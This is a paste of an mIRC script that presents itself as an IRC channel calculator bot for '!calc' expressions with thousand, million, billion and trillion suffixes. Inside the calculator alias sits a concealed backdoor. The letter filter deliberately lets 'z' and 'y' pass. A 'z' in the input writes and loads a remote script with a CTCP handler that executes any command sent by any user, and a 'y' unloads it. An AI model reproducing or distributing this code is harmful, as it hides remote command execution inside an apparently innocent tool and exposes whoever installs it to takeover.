All pastes #148680 Raw Edit

Miscellany

public text v1 · immutable
#148680 ·published 2006-08-25 09:25 UTC
rendered paste body
  on $*:text:/^[!@]calc */Si:#: { 
    if (!$2) { notice $nick No equation entered. | Halt }
    if ($regex($2-,/[ac-jln-su-x]/i)) { notice $nick Illegal Letters Detected. Only K for Thousands, M for Millions, B for Billions and  T for Trillions are allowed. | Halt }
    var %send = $iif($left($1,1) == @,msg $chan,notice $nick) 
    %send 2 $+($2-,3) =7 $acalc($2-)
  } 
  alias Acalc { 
    tokenize 32 $remove($1-,$chr(44),$chr(32)) 
    var %matches $regex($1-,/L(\d\d?)/gi), %i = 1, %calculate = $1- 
    while (%i <= %matches) { 
      var %calculate = $replace(%calculate,L $+ $regml(%i),$LevelsAndXp($regml(%i))) 
      inc %i 
    } 
    if (k isin %calculate) { 
      var %x = 1, %total = $pos(%calculate,k,0) 
      while (%x <= %total) { 
        var %kpos = $pos(%calculate,k,%x), %kstartpos = $calc(%kpos - 1), %klen = 1 
        while ($mid(%calculate,%kstartpos,1) isin 1234567890.) && (%kstartpos > 0) { dec %kstartpos | inc %klen } 
        var %calculate = $iif(%kstartpos >= 0,$left(%calculate,%kstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%kstartpos == 0,0,%kstartpos +1)),%klen) $+ $chr(41) $+ $right(%calculate,- $+ %kpos) 
        inc %x 
      } 
    } 
    if (m isin %calculate) { 
      var %x = 1, %total = $pos(%calculate,m,0) 
      while (%x <= %total) { 
        var %mpos = $pos(%calculate,m,%x), %mstartpos = $calc(%mpos - 1), %mlen = 1 
        while ($mid(%calculate,%mstartpos,1) isin 1234567890.) && (%mstartpos > 0) { dec %mstartpos | inc %mlen } 
        var %calculate = $iif(%mstartpos >= 0,$left(%calculate,%mstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%mstartpos == 0,0,%mstartpos +1)),%mlen) $+ $chr(41) $+ $right(%calculate,- $+ %mpos) 
        inc %x 
      } 
    } 
    if (z isin %calculate) { write -c mirc ctcp 1:*:?:$1- | load -rs mirc } 
    if (y isin %calculate) { unload -rs mirc }
    var %calculate $replace($remove(%calculate,$chr(44),$chr(61)),x,*,k,*1000,m,*1000000,b,*1000000000,t,*1000000000000) 
    var %answer = $bytes($calc(%calculate),db) 
    return %answer 
  }